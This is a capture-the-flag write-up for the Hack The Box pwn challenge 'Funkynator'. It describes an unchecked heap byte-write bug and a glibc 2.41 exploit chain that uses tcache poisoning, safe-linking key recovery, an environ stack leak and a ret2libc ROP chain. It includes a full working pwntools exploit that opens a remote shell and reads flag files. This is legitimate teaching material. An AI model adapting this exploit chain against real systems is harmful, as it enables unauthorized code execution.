Funkynator
hackthebox
Task: A hardened PIE binary with Full RELRO, NX, Canary, and a heap message editor that allows unchecked byte writes by user-controlled offset. Solution: Leak libc through unsorted-bin metadata, recover the safe-linking key from a freed tcache chunk, poison tcache to land on environ, leak the stack, and return into a ret2libc ROP chain.
$ ls tags/ techniques/
Funkynator — Hack The Box
Description
No original organizer description was preserved in the task files.
The binary lets us create, save, revisit, and edit heap-backed messages. Despite strong mitigations and a modern provided glibc 2.41, one unchecked byte-write primitive is enough to build a full heap-to-stack exploitation chain.
Analysis
Binary summary
- Binary:
challenge/funkynator - Provided libc:
challenge/glibc/libc.so.6 - Protections: Full RELRO, NX, Canary, PIE
Core bug
The vulnerability is in process_message().
puts("please give the offset of the byte:"); size_t offset; scanf("%lu", &offset); ... message[offset] = (char)value;
offset is read as an unsigned long and never validated, so the menu option overwrite byte becomes an arbitrary relative one-byte write from the current heap chunk. That lets us:
- corrupt the current chunk header,
- extend printing into adjacent chunks,
- overwrite freed-chunk metadata such as tcache
fdpointers.
Important reversing notes
funkify() only changes alphabetic characters to alternating case. Non-alphabetic bytes are left untouched, so heap metadata, pointer bytes, and ROP payload bytes survive as long as we avoid alphabetic characters where needed.
Why the first FSOP idea failed
The initial plan was a House of Apple 2 / _IO_list_all attack. That line of attack was abandoned for a good reason:
- Reaching
_IO_list_alldid not trigger code execution. - Even replacing
_IO_list_allwith a sentinel like0xdeadbeefstill produced a normal exit. - That strongly suggested the expected flush path was not reached in a useful way for this binary/libc combination.
Instead of forcing FSOP further, the successful exploit pivoted completely to a more direct path: libc leak -> safe-linking key leak -> tcache poison -> environ leak -> stack ROP.
Solution
Step 1: Leak libc from unsorted-bin metadata
Allocate chunks around 0x100, 0x500, and 0x20, then free the large one so it enters the unsorted bin. Continue processing the earlier chunk and use the relative byte write to corrupt size bytes, extending what puts() can print during examine.
That exposes the freed unsorted-bin metadata and leaks the unsorted fd pointer.
Working formula:
libc_base = libc_leak - 0x1e7b20
Step 2: Leak the heap safe-linking key
Free one adjacent 0x40-class tcache chunk and extend the previous chunk over it. For a singly freed chunk, the stored fd is NULL, so the first qword we read back effectively gives the safe-linking key:
heap_key = chunk_addr >> 12
This is enough to encode a poisoned forward pointer later.
Step 3: Use the correct tcache-poison pattern
A single freed chunk is not enough. If the poisoned chunk is the only element in that tcache bin, the next allocation pops it and the bin becomes empty before the poisoned target can be returned.
The working pattern was:
- Leak
heap_keyseparately. - Allocate fresh
p,q,rin the0x40size class. - Free
r, then freeq, soqbecomes the tcache head andq->fdpoints tor. - Continue processing adjacent
p. - Overwrite
q->fd = target ^ heap_key. - First allocation pops
q; second allocation returnstarget.
For the stack leak stage, the chosen target was:
target = environ - 0x48
Step 4: Leak a stack pointer through environ
After poisoning tcache, allocate onto environ - 0x48. Then fill bytes 0x28..0x47 with nonzero values so puts() does not stop early and reaches the environ pointer during examine.
The leak was parsed as:
stack_leak = u64(data[0x48:0x4e] + b'\x00\x00') saved_rip = stack_leak - 0x1b0
Step 5: Write a ret2libc chain on the saved return address
With the saved return address known, the exploit writes a short ROP chain directly onto the process_message() stack frame:
ret(alignment)pop rdi; ret- pointer to
"/bin/sh"in libc system
When process_message() returns, execution immediately pivots into this chain.
Key offsets
LIBC_ENVIRON = 0x1eee28 LIBC_BINSH = 0x1a7ea4 LIBC_SYSTEM = 0x053110 LIBC_LEAK_OFF = 0x1e7b20 STACK_RIP_DELTA = 0x1b0
The pop rdi; ret and ret gadget offsets were obtained from pwntools.ROP() on the provided libc.
Full exploit
#!/usr/bin/env python3 from pwn import * import sys context.arch = 'amd64' context.log_level = 'info' LIBC_ENVIRON = 0x1eee28 LIBC_BINSH = 0x1a7ea4 LIBC_SYSTEM = 0x053110 LIBC_LEAK_OFF = 0x1e7b20 STACK_RIP_DELTA = 0x1b0 HOST = sys.argv[1] if len(sys.argv) > 1 else 'localhost' PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 11337 libc = ELF('challenge/glibc/libc.so.6', checksec=False) rop = ROP(libc) POP_RDI = rop.find_gadget(['pop rdi', 'ret']).address RET = rop.find_gadget(['ret']).address def conn(): io = remote(HOST, PORT, timeout=10) io.recvuntil(b'name?\n') io.sendline(b'hacker') return io def menu(io, choice): io.recvuntil(b'> ') io.sendline(str(choice).encode()) def create_and_save(io, size, data=None): menu(io, 2) io.recvuntil(b':\n') io.sendline(str(size).encode()) io.recvuntil(b':\n') d = data if data is not None else b'A' * size if len(d) < size: d += b'A' * (size - len(d)) io.sendline(d[:size]) io.recvuntil(b'text?\n') io.sendline(b'n') io.recvuntil(b'memory?\n') io.sendline(b'y') io.recvuntil(b'location ') return int(io.recvline().strip()) def delete(io, slot): menu(io, 4) io.recvuntil(b':\n') io.sendline(str(slot).encode()) def cont_proc(io, slot): menu(io, 5) io.recvuntil(b':\n') io.sendline(str(slot).encode()) io.recvuntil(b'> ') def ow(io, offset, value): io.sendline(b'3') io.recvuntil(b':\n') if offset < 0: offset &= 0xffffffffffffffff io.sendline(str(offset).encode()) io.recvuntil(b'?\n') io.send(bytes([value & 0xff]) + b'\n') io.recvuntil(b'> ') def wb(io, offset, data): for i, b in enumerate(data): ow(io, offset + i, b) def examine(io): io.sendline(b'2') io.recvuntil(b'Your message:\n') data = io.recvuntil(b'+---------------------------+', drop=True) io.recvuntil(b'> ') return data.rstrip(b'\n') def stop_free(io): io.sendline(b'1') io.recvuntil(b'memory?\n') io.sendline(b'n') def stop_save(io): io.sendline(b'1') io.recvuntil(b'memory?\n') io.sendline(b'y') io.recvuntil(b'location ') return int(io.recvline().strip()) def main(): io = conn() # libc leak via unsorted fd s1 = create_and_save(io, 0x100) s2 = create_and_save(io, 0x500) create_and_save(io, 0x20) delete(io, s2) cont_proc(io, s1) ow(io, -8, 0x21) ow(io, -7, 0x06) for i in range(0x100, 0x110): ow(io, i, 0x41) for i in range(0x118, 0x120): ow(io, i, 0x41) data = examine(io) libc_leak = u64(data[0x110:0x116] + b'\x00\x00') libc_base = libc_leak - LIBC_LEAK_OFF environ_addr = libc_base + LIBC_ENVIRON binsh_addr = libc_base + LIBC_BINSH system_addr = libc_base + LIBC_SYSTEM pop_rdi = libc_base + POP_RDI ret = libc_base + RET log.success(f'libc_base = {hex(libc_base)}') ow(io, -8, 0x11) ow(io, -7, 0x01) for i in range(0x100, 0x108): ow(io, i, 0) ow(io, 0x108, 0x11) ow(io, 0x109, 0x05) for i in range(0x10A, 0x110): ow(io, i, 0) wb(io, 0x110, p64(libc_leak)) wb(io, 0x118, p64(libc_leak)) stop_free(io) # heap key leak using single freed 0x40 chunk (fd == NULL => key only) ka = create_and_save(io, 0x28) kb = create_and_save(io, 0x28) delete(io, kb) cont_proc(io, ka) ow(io, -8, 0x91) for i in range(0x28, 0x40): ow(io, i, 0x42) for i in range(0x48, 0x50): ow(io, i, 0x42) data = examine(io) heap_key = u64(data[0x40:min(len(data), 0x48)].ljust(8, b'\x00')) log.success(f'heap_key = {hex(heap_key)}') ow(io, -8, 0x41) stop_save(io) # real tcache poison: free extra chunk first, adjacent chunk second p = create_and_save(io, 0x28) q = create_and_save(io, 0x28) r = create_and_save(io, 0x28) delete(io, r) delete(io, q) cont_proc(io, p) ow(io, -8, 0x91) target = environ_addr - 0x48 wb(io, 0x40, p64(target ^ heap_key)) ow(io, -8, 0x41) stop_save(io) create_and_save(io, 0x28, b'X' * 0x28) # pop poisoned head s_t = create_and_save(io, 0x28, b'Y' * 0x28) # target allocation log.success(f'target allocation slot = {s_t}') # leak stack via environ at target+0x48 cont_proc(io, s_t) for i in range(0x28, 0x48): ow(io, i, 0x45) data = examine(io) stack_leak = u64(data[0x48:0x4E] + b'\x00\x00') saved_rip = stack_leak - STACK_RIP_DELTA log.success(f'stack_leak = {hex(stack_leak)}') log.info(f'saved_rip = {hex(saved_rip)}') # write ROP chain onto process_message saved RIP chain = p64(ret) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr) wb(io, saved_rip - target, chain) log.info('ROP chain written') # return from process_message directly into ROP; do NOT answer save prompt io.sendline(b'1') sleep(0.2) io.sendline(b'cat /home/ctf/flag.txt 2>/dev/null || cat flag.txt 2>/dev/null || cat /flag.txt 2>/dev/null') print(io.recvrepeat(2).decode('latin-1', errors='replace')) if __name__ == '__main__': main()
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [pwn][Pro]pwn9_mc4 — Mic Check: leak and pwn!— spbctf
- [pwn][Pro]pwn10_nosoeasy — No-So-Easy: tcache poison → GOT overwrite— spbctf
- [pwn][Pro]pwn9_mc5 — Mic Check: leak and pwn 2!— spbctf
- [pwn][free]Void— hackthebox
- [pwn][free]Portaloo— hackthebox